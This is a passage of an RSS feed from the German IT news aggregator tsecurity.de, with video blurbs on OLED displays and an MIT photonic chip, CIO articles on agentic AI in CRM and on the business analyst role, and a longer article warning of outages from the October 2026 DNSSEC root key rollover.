<content:encoded><![CDATA[<p>Author: Techquickie - Bewertung: 5027x - Views:93409 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/TpVM45JNupQ?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>Play War Thunder for FREE on PC, PlayStation, Xbox, and mobile using the links below! New to the game, or returning after six months? You&#039;ll get a massive bonus pack on PC and consoles packed with vehicles, boosters, and more. Claim your bonus and start playing today!<br />
<br />
PC/Console: https://playwt.link/techquickie <br />
Mobile:  https://wtm.game/techquickie <br />
<br />
Remember when OLED was simple? You paid a premium, you got perfect blacks, and you called it a day. Fast forward to 2026, and we’re drowning in an alphabet soup of WOLED, QD-OLED, and &quot;Penta-Tandem&quot; stacks. Today we’re breaking it all down and we’ve got the answers.<br />
Special thanks to Ron Mertens, CEO of Metalgrass and founder of OLED-info, for joining us and sharing over 20 years of expertise in the display industry.<br />
<br />
Leave a reply with your requests for future episodes.<br />
<br />
► SHOP OUR PRODUCTS: https://lttstore.com<br />
► GET A VPN: https://www.piavpn.com/TechQuickie<br />
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► SPONSORS, AFFILIATES, AND PARTNERS: https://lmg.gg/partners<br/></p>]]></content:encoded>
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<title><![CDATA[MIT's 1000TB/s Photonic Chip Finally Puts an End to NVIDIA's AI Domination!]]></title>
<description><![CDATA[Author: Evolving AI - Bewertung: 215x - Views:5447 MIT engineers are building a chip reaching one petabit per second. See how this hardware processes data faster than any current consumer tech. This video examines the technical details behind the new MIT processor chip designed to push data limit...]]></description>
<link>https://tsecurity.de/de/3693219/videos/mits-1000tbs-photonic-chip-finally-puts-an-end-to-nvidias-ai-domination/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693219/videos/mits-1000tbs-photonic-chip-finally-puts-an-end-to-nvidias-ai-domination/</guid>
<pubDate>Sat, 25 Jul 2026 08:35:34 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Evolving AI - Bewertung: 215x - Views:5447 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/NWKjnuND7Ys?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>MIT engineers are building a chip reaching one petabit per second. See how this hardware processes data faster than any current consumer tech. This video examines the technical details behind the new MIT processor chip designed to push data limits. We explore how researchers are utilizing interferometer technology to achieve speeds of a thousand terabits on a surface thinner than a human hair. This breakdown is for engineers, students, and tech enthusiasts interested in the future of high-speed hardware. By analyzing the electronic components and the specific measurement diagrams, you will better understand the engineering hurdles involved in reaching a petabit per second. You will see how this data processing speed milestone compares to existing silicon-based architectures and why this specific design is capable of such massive throughput.<br />
<br />
Subscribe for weekly engineering breakdowns, and comment below if you want to see a deep dive on how interferometers are used in modern computing.<br/></p>]]></content:encoded>
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<title><![CDATA[7 CRM trends for 2026: AI brings decisive action to customer workflows]]></title>
<description><![CDATA[Agentic AI has advanced from the promises-and-pilots phase of 2025 to reality and rollouts in 2026. In the process, agentic AI is transforming virtually every aspect of customer relationship management (CRM), the platform that manages sales, marketing, and customer service.



“Last year, everybo...]]></description>
<link>https://tsecurity.de/de/3693117/it-nachrichten/7-crm-trends-for-2026-ai-brings-decisive-action-to-customer-workflows/</link>
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<pubDate>Sat, 25 Jul 2026 06:53:15 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Agentic AI has advanced from the promises-and-pilots phase of 2025 to reality and rollouts in 2026. In the process, agentic AI is transforming virtually every aspect of <a href="https://www.cio.com/article/272365/what-is-crm-software-for-managing-customer-data.html">customer relationship management (CRM)</a>, the platform that manages sales, marketing, and customer service.</p>



<p class="wp-block-paragraph">“Last year, everybody was dipping their toes into the water,” says <a href="https://futurumgroup.com/keith-kirkpatrick/">Keith Kirkpatrick</a>, research director at The Futurum Group. This year, agentic AI has built momentum from the boardroom down, with companies recognizing that having an AI strategy is imperative. “They feel like if they don’t embrace it now, their competitors will.”</p>



<p class="wp-block-paragraph"><a href="https://www.deloitte.com/global/en/about/people/profiles.gx-harry-datwani+f20748dc.html">Harry Datwani</a>, a principal at Deloitte Digital, adds that enterprise CRM customers have transitioned from “proof of concept” to “scale and execution.”</p>



<p class="wp-block-paragraph">“Across sales, service, marketing, even in the commerce space, enterprises are really using AI and agentic,” he says.</p>



<p class="wp-block-paragraph">“CRM in 2026 is undergoing a structural shift, not just an incremental evolution,” says Forrester analyst <a href="https://www.forrester.com/analyst-bio/kate-leggett/BIO2629">Kate Leggett</a>, noting that AI is becoming a core part of CRM infrastructure, not just a feature or an add-on. According to Forrester data, around 70% of companies are already using AI in their CRM systems, she says.</p>



<p class="wp-block-paragraph">Here are the hot AI-driven trends in CRM this year.</p>



<h2 class="wp-block-heading">CRM becomes an action hero</h2>



<p class="wp-block-paragraph">CRM platforms have traditionally served as passive, static systems of record. Now, agentic AI is transforming CRM into a powerful, real-time solution that can act autonomously.</p>



<p class="wp-block-paragraph">“Organizations that rethink CRM as a real-time, AI-powered system of action — and embrace agentic AI to handle complex, unpredictable work — are better positioned to deliver exceptional customer experiences,” says IDC analyst <a href="https://my.idc.com/getdoc.jsp?containerId=PRF005191">Neil Ward-Dutton</a>. “This approach not only enhances satisfaction and loyalty but also drives operational efficiency and business agility.”</p>



<p class="wp-block-paragraph">Forrester’s Leggett says that AI-powered CRM platforms have advanced from simple data capture to real-time decision-making and execution. Standard capabilities include next-best action recommendations, call summaries, automated updates, generated emails, knowledge creation, predictive forecasting, and deal scoring.</p>



<p class="wp-block-paragraph">She adds that AI agents can now execute workflows, such as routing cases, sending follow-ups, and updating records (with human oversight). They can also handle end-to-end service and sales tasks autonomously, including case resolutions and sales development activities.</p>



<h2 class="wp-block-heading">Agentic drives workforce changes</h2>



<p class="wp-block-paragraph">AI use in CRM systems is also impacting workforce strategies.</p>



<p class="wp-block-paragraph">“We used to hire for deep expertise,” says Constellation Research analyst <a href="https://www.constellationr.com/user/liz-miller">Liz Miller</a>. “AI has commoditized expertise because I can take all that data from my CRM and train my AI models to go deep, to know everything about any product I’ve ever sold, from what has worked, what hasn’t, every price, every sale.”</p>



<p class="wp-block-paragraph">Now, instead of hiring candidates with deep expertise, organizations are looking for candidates who can go wide. “I can train a model to have deep expertise. What I can’t train for is experience, because experience is what happens when a person has gone broad across a lot of different scenarios and faced complexity across that broad scenario,” says Miller.</p>



<p class="wp-block-paragraph">For example, AI systems can automate many aspects of marketing, Miller notes, but there’s no substitute for creativity: people who can interrogate the data and come up with innovative marketing campaigns that connect with customers.</p>



<p class="wp-block-paragraph"><a href="https://www.servicenow.com/workflow/author/terence-chesire.html">Terence Chesire</a>, group vice president of ServiceNow CRM and industry workflows, says that organizations are using agentic AI to free up team members from repetitive, lower-value activities. Those employees have now moved to higher-level roles “where they’re working on transformational deals rather than just building a spreadsheet.”</p>



<p class="wp-block-paragraph">“That’s what we’re seeing as super-exciting as organizations not just free up people, but the speed and effort reduction and the friction reduction in what they can do,” he adds.</p>



<h2 class="wp-block-heading">Data layer takes center stage</h2>



<p class="wp-block-paragraph">AI’s promise to deliver actionable customer and marketing intelligence has placed even greater emphasis on the importance on sound data management practices for CRM.</p>



<p class="wp-block-paragraph">“The light bulb has flashed on very brightly for our clients,” says Deloitte’s Datwani. “Everyone is talking about AI agents, but your ability to really extract value is inextricably linked to the quality of your data and the ability to make that data accessible. What we’re finding is that despite large investments over time our clients still have fragmented data. And so, they are data rich and insight poor.”</p>



<p class="wp-block-paragraph">The good news, says Datwani, is that AI agents themselves can <a href="https://www.cio.com/article/2140371/gen-ai-can-be-the-answer-to-your-data-problems-but-not-all-of-them.html">help clean up and organize data</a>. And vendors such as <a href="https://www.cio.com/article/4030966/snowflake-and-databricks-vie-for-the-heart-of-enterprise-ai.html">Snowflake and Databricks</a>, along with the traditional CRM powerhouses, are offering powerful data analytics solutions. “Everyone is battling for that data layer,” Datwani says.</p>



<p class="wp-block-paragraph">Forrester’s Leggett adds that CRM platforms are converging with <a href="https://www.cio.com/article/308839/top-8-customer-data-platforms.html">customer data platforms (CDPs)</a>, real-time event streams, and external data sources to create connected customer data networks. These real-time, connected data models can help organizations deliver hyper-personalization at scale.</p>



<h2 class="wp-block-heading">Agentic ushers in pricing complexity</h2>



<p class="wp-block-paragraph">The shift from license- or subscription-based pricing to an <a href="https://www.cio.com/article/3624540/how-will-ai-agents-be-priced-cios-need-to-pay-attention.html">outcome or consumption pricing model</a> has the potential to help CIOs tie their CRM costs to specific business metrics, such as the number of customer service calls resolved per hour. But it has also introduced a <a href="https://www.cio.com/article/4184688/it-hurtles-toward-the-great-enterprise-pricing-reset.html">new level of complexity</a> when it comes to budgeting for CRM costs.</p>



<p class="wp-block-paragraph">For example, Chesire says ServiceNow’s CRM pricing plan starts with a baseline subscription model, and on top of that, customers get a certain number of AI tokens per user and can buy additional tokens as AI usage ramps up.</p>



<p class="wp-block-paragraph">Meanwhile, Salesforce has <a href="https://www.cio.com/article/4189183/salesforce-unveils-ai-help-agent-with-pay-per-resolution-pricing.html">rolled out pay-per-resolution pricing</a> with its recently unveiled AI Help Agent and last month <a href="https://www.cio.com/article/4183667/salesforce-to-acquire-usage-based-billing-specialist-m3ter.html">acquired usage-based billing specialist m3ter</a>. Oracle is also <a href="https://www.cio.com/article/4184271/oracle-wades-into-outcome-based-ai-billing-waters.html">piloting outcome-based AI pricing</a>.</p>



<p class="wp-block-paragraph">All these approaches undercut the predictability of the subscription model, which will complicate CIOs’ cost calculus, Deloitte’s Datwani says. “Now, as you start to think about consumption and tokens, costs might look different. As folks are opening up the architecture with things like headless CRM, what will the cost model look like for API calls or MCP server calls? So, there’s many more variables,” he adds.</p>



<h2 class="wp-block-heading">The rise of multi-agent orchestration</h2>



<p class="wp-block-paragraph">To act autonomously, agents need to access multiple data sets and software platforms seamlessly. As a result, the proliferation of agents, some embedded within specific vendor platforms and some created in-house, is going to require an orchestration layer, Futurum’s Kirkpatrick says.</p>



<p class="wp-block-paragraph">He points out that organizations need to monitor and manage agents, enforcing the same type of policy-based access control that exists for people. Organizations also need to set limits on what domains a specific agent can get into, what types of data they can access, what lines can’t they cross.</p>



<p class="wp-block-paragraph">Kirkpatrick predicts that a <a href="https://www.cio.com/article/4138739/21-agent-orchestration-tools-for-managing-your-ai-fleet.html">new class of orchestration tools</a> will emerge, although it’s not clear whether that orchestration layer will be provided by the leading CRM vendors, hyperscalers, or third parties.</p>



<p class="wp-block-paragraph">Datwani agrees. “The orchestration layer is an interesting area, where the traditional vendors are in on it, the hyperscalers are also offering it, and there are third parties. It’s my belief that there’s not going to be a clear winner.”<em></em></p>



<h2 class="wp-block-heading">The interface becomes conversational</h2>



<p class="wp-block-paragraph">Enterprise users who have traditionally had to manually wrangle with CRM systems are likely to find the ability to employ voice commands using a natural language interface to be a game changer. For starters, a salesperson can say, “I have a meeting today with Customer X. Help me prepare.” The agent will collect relevant data, ingest it, and provide a summary with recommendations.</p>



<p class="wp-block-paragraph">ServiceNow’s Chesire says voice-enabled CRM systems have an “almost magical” ability to record, transcribe, and understand the content of a call between a salesperson and a customer or potential customer. The system can then “build a quote” based on that conversation.</p>



<p class="wp-block-paragraph">On the customer service side of the equation, AI-driven voice technology enables customers to speak to an AI agent, describe the problem using natural language, and get a response. The agent has the capability to, for example, solve a credit card dispute, order a replacement product, send out a service rep, or do whatever is needed to resolve the issue, says Chesire.</p>



<p class="wp-block-paragraph">Beyond that, agentic technology is capable of understanding the underlying business process flaws that led to the product snafu, and make recommendations for ways to fix whatever led to the issue in the first place, he adds.</p>



<h2 class="wp-block-heading">Agentic drives business process transformation</h2>



<p class="wp-block-paragraph">With the emergence of outcome-based pricing, organizations are taking a fresh look at how they measure the benefits of CRM systems. That conversation is leading to an even more important analysis of underlying business processes. Or, as Constellation’s Miller says, “The old adage of applying new technology to old processes only gets you more expensive old processes.”</p>



<p class="wp-block-paragraph">“When we survey customers, we hear time and time again that the reason why they want to apply AI into their organizations is to foster exponential opportunity and exponential growth,” she says. “How do we get there with CRM has started to become the new conversation.”</p>



<p class="wp-block-paragraph">According to Miller, AI systems breach the walls of siloed data and can take a fresh look at legacy workflows. They also don’t get sucked into turf wars between marketing and sales teams. As a result, they often recommend new actions that can lead to better processes. “I think it’s starting to happen. You’re starting to see applications where AI is beginning to accelerate decision-making and decision velocity,” she says.</p>



<p class="wp-block-paragraph">“The next phase of maturity is going to be, how do we start to spread AI across our platforms so that we are seeing that holistic end-to-end relationship that we have always wanted to optimize. How do we thread that across platforms and across solutions. We’re starting to see organizations on the leading edge really start to pull those strategies together,” says Miller.</p>
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<title><![CDATA[What is a business analyst? A key role for business-IT efficiency]]></title>
<description><![CDATA[What is a business analyst?



Business analysts (BAs) are responsible for bridging the gap between IT and the business using data analytics to assess processes, determine requirements, and deliver data-driven recommendations and reports to executives and stakeholders.



BAs engage with business...]]></description>
<link>https://tsecurity.de/de/3693087/it-nachrichten/what-is-a-business-analyst-a-key-role-for-business-it-efficiency/</link>
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<pubDate>Sat, 25 Jul 2026 06:16:45 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<h2 class="wp-block-heading">What is a business analyst?</h2>



<p class="wp-block-paragraph">Business analysts (BAs) are responsible for bridging the gap between IT and the business using <a href="https://www.cio.com/article/191313/what-is-data-analytics-analyzing-and-managing-data-for-decisions.html">data analytics</a> to assess processes, determine requirements, and deliver data-driven recommendations and reports to executives and stakeholders.</p>



<p class="wp-block-paragraph">BAs engage with business leaders and users to understand how data-driven changes to process, products, services, software, and hardware can improve efficiencies and add value. They must articulate those ideas but also balance them against what’s technologically feasible and financially and functionally reasonable. Depending on the role, a business analyst might work with data sets to improve products, hardware, tools, software, services, or process.</p>



<p class="wp-block-paragraph">The International Institute of Business Analysis (IIBA), a nonprofit professional association, considers the business analyst an agent of change, and says that <a href="https://www.cio.com/article/191157/what-is-business-analytics-using-data-to-predict-business-outcomes.html">business analysis</a> is a disciplined approach to introduce and manage change to organizations, whether they’re for-profit businesses, governments, or nonprofits.</p>



<h2 class="wp-block-heading">Impact of AI on business analyst role</h2>



<p class="wp-block-paragraph">As AI becomes commonplace in the tech industry, business analysts are embracing it as a tool to automate repetitive work in the role. AI tools can be used for workflow and diagramming, process mapping, data analysis, and to automate meeting minutes and transcribe meetings where requirements are established, all designed to speed up the process of analyzing data, creating visuals, and transcribing and writing user stories and acceptance criteria.</p>



<p class="wp-block-paragraph">AI tools can also help identify patterns, insights, and unique data points that might go unnoticed by humans, and allow a faster time to generate insights for organizations.</p>



<p class="wp-block-paragraph">Of course, as with all AI tools, they still require humans to oversee prompts, scripting, and evaluate AI outputs to ensure they’re accurate and valid. While they can’t replace the work of BAs, AI can help them spend more time on thoughtful analysis and decision making, rather than mundane tasks such as gathering and summarizing data, and querying.</p>



<h2 class="wp-block-heading">Business analyst job description</h2>



<p class="wp-block-paragraph">BAs are responsible for creating new models that support business decisions by working closely with finance and IT teams to establish initiatives and strategies aimed at improving revenue and optimizing costs. They need a strong understanding of regulatory and reporting requirements, and have plenty of experience in forecasting, budgeting, and financial analysis combined with knowing KPIs, according to Robert Half Technology.</p>



<p class="wp-block-paragraph">According to Robert Half, a BA’s job description typically includes budgeting and forecasting, planning and monitoring, variance analysis, pricing, reporting, and creating a detailed business analysis in an effort to outline problems, opportunities, and solutions for a business. It also says BAs should be able to define business requirements and report them back to stakeholders.</p>



<p class="wp-block-paragraph">Since BAs are tasked with prioritizing technical and functional requirements, identifying what clients want, and determining what’s feasible to deliver, the role requires a deep understanding of systems, how they function, who’ll need to be involved, and the necessary steps to get everyone on board.  </p>



<p class="wp-block-paragraph">The role is constantly evolving, especially as companies rely more on data to advise business operations. Every company has different issues that a business analyst can address, whether it’s dealing with outdated legacy systems, changing technologies, broken processes, poor client or customer satisfaction, or large, siloed organizations.</p>



<h2 class="wp-block-heading">Business analyst skills</h2>



<p class="wp-block-paragraph">The BA position requires both hard and soft skills, as they need to know how to pull, analyze, and report data trends, share that information with others, and apply it to business goals and needs.</p>



<p class="wp-block-paragraph">Not all BAs need a background in IT if they have a general understanding of how systems, products, and tools work. Alternatively, some have strong IT backgrounds and less experience in business, but are interested in shifting away from IT into this hybrid role, which often acts as a communicator between the business and IT sides of the organization. So having extensive experience in either area can be beneficial for BAs.</p>



<p class="wp-block-paragraph"><a href="https://www.iiba.org/career-resources/new-to-business-analysis/" target="_blank" rel="noreferrer noopener">According to the IIBA</a>, some of the most important skills and experience for a business analyst are:</p>



<ul class="wp-block-list">
<li>Oral and written communication skills</li>



<li>Interpersonal, organizational, facilitation, and consultative skills</li>



<li>Analytical thinking and problem solving</li>



<li>Being detail-oriented and able to deliver a high level of accuracy</li>



<li>Knowledge of business structure</li>



<li>Stakeholder and cost-benefit analysis</li>



<li>Processes modeling</li>



<li>Understanding networks, databases, and other technologies</li>
</ul>



<p class="wp-block-paragraph">For a more in-depth look at what it takes to succeed as a business analyst, click <a href="https://www.cio.com/article/189108/essential-traits-of-elite-business-analysts.html">here</a>.</p>



<h2 class="wp-block-heading">Business analyst salary</h2>



<p class="wp-block-paragraph">The average annual salary for an IT business analyst is $80,692, according to <a href="https://www.payscale.com/research/US/Job=Business_Analyst%2C_IT/Salary" target="_blank" rel="noreferrer noopener">data from PayScale</a>. The highest paid BAs are in New York, where the average salary is 14% higher than the national average. Dallas, Texas, is second, with reported salaries 6.4% higher than the national average, closely followed by Washington, D.C., where salaries are 6.3% higher than the national average.</p>



<p class="wp-block-paragraph">Some skills are in higher demand than others, with the potential to boost salary. According to Payscale, these are associated with higher BA salaries. These skills, and the amount they can boost your salary, include:</p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><tbody><tr><td>Skills</td><td>Salary Boost</td></tr><tr><td>ScrumMaster</td><td>44%</td></tr><tr><td>Microsoft Azure</td><td>30%</td></tr><tr><td>Supply Chain</td><td>27%</td></tr><tr><td>Oracle eBusiness Suite</td><td>25%</td></tr><tr><td>Master Data Management (SAP MDM)</td><td>24%</td></tr><tr><td>SAP Sales and Distribution (SAP SD)</td><td>24%</td></tr><tr><td>Product Support</td><td>18%</td></tr><tr><td>Microsoft Dynamics GP</td><td>18%</td></tr><tr><td>SAP Quality Management (SAP QM)</td><td>18%</td></tr><tr><td>Workday Software</td><td>15%</td></tr></tbody></table> </div></figure>



<p class="wp-block-paragraph">For tips on boosting your salary, click <a href="https://www.cio.com/article/189510/7-steps-business-analysts-can-take-to-earn-more.html">here</a>.</p>



<h2 class="wp-block-heading">Business analyst certifications</h2>



<p class="wp-block-paragraph">Although business analysis is a relatively new discipline in IT, a handful of organizations already offer certifications to help boost your résumé and prove your merit as an analyst. Organizations such as the IIBA, IQBBA, IREB, and PMI each offer their own tailored certifications for business analysis. These include:</p>



<ul class="wp-block-list">
<li>IIBA <a href="https://www.cio.com/article/189169/ecba-certification-an-entry-level-credential-for-business-analysts.html">Entry Certificate in Business Analysis (ECBA)</a></li>



<li>IIBA Certification of Competency in Business Analysis (CCBA)</li>



<li>IIBA Certified Business Analysis Professional (CBAP)</li>



<li>IIBA Agile Analysis Certification (AAC)</li>



<li>IQBBA Certified Foundation Level Business Analyst (CFLBA)</li>



<li>IREB Certified Professional for Requirements Engineering (CPRE)</li>



<li>PMI Professional in Business Analysis (PBA)</li>



<li>Certified Analytics Professional (CAP)</li>
</ul>



<p class="wp-block-paragraph">For more information about how to earn one of these certifications — and how much they cost — click <a href="https://www.cio.com/article/228834/6-business-analyst-certifications-to-advance-your-analytics-career.html">here</a>.</p>



<h2 class="wp-block-heading">Business analytics tools and software</h2>



<p class="wp-block-paragraph">BAs typically rely on software such as Microsoft’s Excel, PowerPoint, and Access, as well as SQL, Google Analytics, and Tableau. These tools help BAs collect and sort data, create graphs, write documents, and design visualizations to explain findings. You won’t necessarily need programming or database skills for a BA position, but if you already have these skills, they won’t hurt. The type of software and tools you’ll need to use, however, will depend on your job title and what the organization requires.</p>
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<title><![CDATA[CIOs beware: DNS KSK rollover could kick off wave of mysterious outages]]></title>
<description><![CDATA[Predicting an outage is tricky business, but CIOs might want to circle Oct. 11, 2026, through Jan. 11, 2027, for likely trouble of a potentially widespread and puzzling nature.



That’s because a relatively trivial update to DNSSEC on Oct. 11, one that will take full effect by Jan. 11, is likely...]]></description>
<link>https://tsecurity.de/de/3693085/it-nachrichten/cios-beware-dns-ksk-rollover-could-kick-off-wave-of-mysterious-outages/</link>
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<pubDate>Sat, 25 Jul 2026 06:16:22 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Predicting an outage is tricky business, but CIOs might want to circle Oct. 11, 2026, through Jan. 11, 2027, for likely trouble of a potentially widespread and puzzling nature.</p>



<p class="wp-block-paragraph">That’s because a relatively trivial update to DNSSEC on Oct. 11, one that will take full effect by Jan. 11, is likely to deliver a series of seemingly unrelated system outages. This will come from oceans of dependencies from third-party, shadow, agentic, gen AI, SaaS, homegrown, and legacy apps — among many other quiet executable hiding spots, including virtual environments and containers.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/joshithak/">Sai Joshitha Kathari</a>, senior site reliability engineer at payment card giant Visa, says most enterprises have far more DNS-related exposure than they realize because of these many dependencies.</p>



<p class="wp-block-paragraph">“This has the potential to create real downstream destruction when unresolved failures sit underneath important business functions,” Kathari says. </p>



<p class="wp-block-paragraph">The danger is that so many of these issues are either unknown to IT or handled by a third-party vendor and no one in IT has had reason to ask those vendors about DNS updates. </p>



<p class="wp-block-paragraph">“The risky areas are usually not the obvious managed DNS services. They are the older internal applications, hardcoded resolvers, containerized workloads, sidecar configurations, custom scripts, partner integrations, VM images, stale base images, and service-to-service dependencies that nobody has touched in a long time,” Kathari explains. “These systems can keep working quietly for years, then fail during a DNS or certificate-related change because they bypassed the normal platform standards.”</p>



<p class="wp-block-paragraph">Independent technology analyst <a href="https://www.linkedin.com/in/carmi/">Carmi Levy</a> says that CIOs need to take this event very seriously. </p>



<p class="wp-block-paragraph">“The two-pronged deadline — October 11, 2026, when the new Key Signing Key (KSK) begins signing the root zone, and January 11, 2027, when the old key is retired — should be marked in red on everyone’s calendar, just as December 31, 1999, once was,” Levy says. “Failure to comply could result in websites, critical business applications, and related resources dropping off the face of the Earth once the transition is complete.”</p>



<p class="wp-block-paragraph">Levy adds: “Custom-built code that lives outside conventional support mechanisms may or may not function when the DNS changes go into effect.”</p>



<p class="wp-block-paragraph">The <a href="https://www.icann.org/resources/press-material/release-2026-05-20-en">DNSSEC update itself</a> is straightforward, but it is also the first significant DNSSEC change — specifically a change in the trust anchor — since 2018. </p>



<p class="wp-block-paragraph">The rollout statement noted that “the trust anchor is formally known as the Domain Name System Security Extensions (DNSSEC) root zone Key Signing Key (KSK). The KSK is the cryptographic key at the core of the DNSSEC trust anchor and is used to verify that DNS responses are legitimate and have not been modified in transit.”</p>



<h2 class="wp-block-heading">Expect nearly every enterprise to be impacted</h2>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/kimdavies/">Kim Davies</a>, vice president of IANA Services and president of public technical identifiers at ICANN, says the extent of the impact on enterprises is unknowable, given the nature of shadow IT and other edge cases. </p>



<p class="wp-block-paragraph">But based on the massive number of dependencies both known and unknown in the typical global enterprise, Davies guesses that just about every enterprise will be impacted, to varying degrees. </p>



<p class="wp-block-paragraph">“In highly complex organizations, it is very likely there will be some impact in the corners, in the margins, of the organization,” Davies tells CIO. “DNS is such a core technology that underpins everything.”</p>



<p class="wp-block-paragraph">As the updates propagate, hiccups will materialize, Davies notes. “When the system cannot validate the [DNS] information, it will treat it as suspect and DNS lookups will fail.”</p>



<p class="wp-block-paragraph">Visa’s Kathari says, “Enterprises should expect some secondary DNS-related glitches when major DNSSEC-related changes happen, not necessarily because the core infrastructure teams will ignore the update, but because large environments have many hidden dependency paths.”</p>



<p class="wp-block-paragraph">Making this problem far worse, Kathari notes, is that the glitches will likely initially look like anything other thana DNS glitch. That will force IT staff to waste a vast number of hours chasing causes that ultimately prove to be unrelated to the incidents. </p>



<p class="wp-block-paragraph">“The impact for CIOs is that DNS failures rarely announce themselves as DNS failures. They look like application timeouts, broken logins, failed API calls, queue lag, payment failures, partner connectivity issues, or random regional instability,” Kathari explains. “That makes troubleshooting slower because teams may spend hours looking at the application, database, network, or cloud provider before realizing name resolution is part of the failure path.”</p>



<p class="wp-block-paragraph"><a href="https://greyhoundresearch.com/svg/">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research, agrees that IT will likely spin its wheels chasing the wrong ghosts.</p>



<p class="wp-block-paragraph">“A validation failure rarely stays in its lane. It surfaces as an application error, an API timeout, or a reachability problem, which turns a resolver fault into a coordination failure,” Gogia says. “The application team blames the network, the network team blames the cloud, and the user simply watches work stop.”</p>



<p class="wp-block-paragraph">“Images and templates are the frontier most teams miss,” Gogia adds. “A resolver fixed in summer can be broken again in October the instant a stale golden image is redeployed, because automation no longer lets configuration drift slowly. It restores yesterday’s assumptions at machine speed.”</p>



<p class="wp-block-paragraph">It is widely expected that enterprises will not have any problems executing the change or, more likely, relying on their hyperscalers to properly handle the change. That is the concern. </p>



<p class="wp-block-paragraph">“CIOs are being distracted so much with AI and this is such a deep in the weeds infrastructure issue that this can and willcatch people off-guard,” <a href="https://acceligence.com/talent/profiles/justin-greis/">Justin Greis</a>, CEO of consulting firm Acceligence, tells CIO. “I think we’ll see a meaningful number of enterprise disruptions associated with the DNSSEC trust anchor rollover. Not because the update itself is especially difficult, but because it will expose weaknesses that already exist inside many organizations.”</p>



<p class="wp-block-paragraph">Most enterprise IT operations have had no reason to compile a comprehensive list of all DNS dependencies, but many will be instantly discovered in January. </p>



<h2 class="wp-block-heading">Potentially widespread fallout</h2>



<p class="wp-block-paragraph">A major retailer, for example, might suddenly be unable to connect with FedEx to arrange for deliveries or a hospital may find that test results are no longer being shared with patient portals. It might manifest as an assembly line that halts because an IIoT component can no longer share files with its vendor system or a truck fleet that stops being tracked. </p>



<p class="wp-block-paragraph">“There will almost certainly be systems that fall through the cracks. Some will be legacy applications that rely on outdated DNS configurations that have not been updated in years,” Greis says. “Others will be business-unit-developed tools, contractor-built solutions, embedded systems, manufacturing and industrial systems, or highly customized workloads that operate outside normal IT oversight. These are the types of systems that often surface during infrastructure events like this.”</p>



<p class="wp-block-paragraph">Greis adds that many enterprises will discover in January problems created by their own automation.</p>



<p class="wp-block-paragraph">“Over time, enterprises build layers of processes, templates, and deployment mechanisms that are reused across teams and environments,” Greis notes. “Even after DNS infrastructure is updated correctly, older settings can inadvertently be reintroduced through routine updates and system changes, creating intermittent and difficult-to-diagnose failures.”</p>



<p class="wp-block-paragraph">The good news from this situation is that enterprises are not going to likely lose all DNS access if any of these glitches occur. But that may be of no comfort because even if the disruptions are only with small edge cases, that can still cause massive operational disruptions.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/cricketliu/">Cricket Liu</a>, EVP and chief evangelist at Infoblox, gives the example of a DNS server that responds to factory-floor system queries.</p>



<p class="wp-block-paragraph">“Or let’s say this disrupts [an enterprise’s key] SaaS application. All name resolution may stop and it will show a server failure. It will not deliver a response whenever I look anything up. That’s not subtle at all,” Liu says. “It’s highly likely that companies are going to see some effects.”</p>



<p class="wp-block-paragraph">Back in 2017, the switchover was relatively uneventful, giving some CIOs hope that January 2027 will also be a non-event. But given the technology advancements in the last 10 years and the resulting tidal wave of new enterprise tech dependencies, few are realistically expecting no problems this go around. </p>



<h2 class="wp-block-heading">Impossible to predict what will happen</h2>



<p class="wp-block-paragraph">One of the top network experts on DNS effects in enterprises is <a href="https://blog.apnic.net/author/geoff-huston/">Geoff Huston</a>, chief scientist at the Asia Pacific Network Information Centre (APNIC), the regional Internet Registry administering IP addresses for the Asia Pacific region.</p>



<p class="wp-block-paragraph">Huston says it is difficult to project what will happen in January until it happens.</p>



<p class="wp-block-paragraph">“Just like the last time, we are flying blind with this key roll. Because nothing really terrible happened last time, there is some confidence that nothing terrible will happen this time, but we just can’t tell in advance as there are no good measurement approaches that allow us to peek inside the trust state of recursive resolvers,” he says.</p>



<p class="wp-block-paragraph">As for potential edge-case glitches, Huston says it is possible, but if third-party vendors do not properly handle the update, there will be other issues as well, as the KSK cryptographic key used within DNSSEC signs and validates the keys that protect DNS records. </p>



<p class="wp-block-paragraph">“If it is not standards-compliant, then you have more problems than just the KSK roll,” Huston says, “as it raises the obvious question of ‘What else is not correctly implemented in the DNS resolver that I’m running?’”</p>



<p class="wp-block-paragraph">As a silver lining, Acceligence’s Greis says any hiccups that result from the DNS KSK update may be a gift in disguise for CIOs. </p>



<p class="wp-block-paragraph">“The irony is that some of the most business-critical components in the technology stack are often the least visible because they work in the background,” Greis says. January “may reveal how much modern business resilience depends on infrastructure that many organizations rarely examine until something breaks. For CIOs, that’s the real lesson. This is not fundamentally a story about a DNS update. It is a story about operational visibility, resilience, and governance. Organizations that treat the rollover as a routine infrastructure task will likely complete the update and move on. Organizations that use it as an opportunity to understand and strengthen the foundations of their technology environment may gain far more value than simply avoiding an outage.”</p>
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<title><![CDATA[Atos launches sovereign cloud service to power comeback]]></title>
<description><![CDATA[Atos has launched a new sovereign cloud platform aimed squarely at European public sector bodies, healthcare providers and defense organizations. It’s the latest effort by European companies in their fight back against US dominance.



Atos Sovereign Cloud offers a range of controls for data mana...]]></description>
<link>https://tsecurity.de/de/3693082/it-nachrichten/atos-launches-sovereign-cloud-service-to-power-comeback/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693082/it-nachrichten/atos-launches-sovereign-cloud-service-to-power-comeback/</guid>
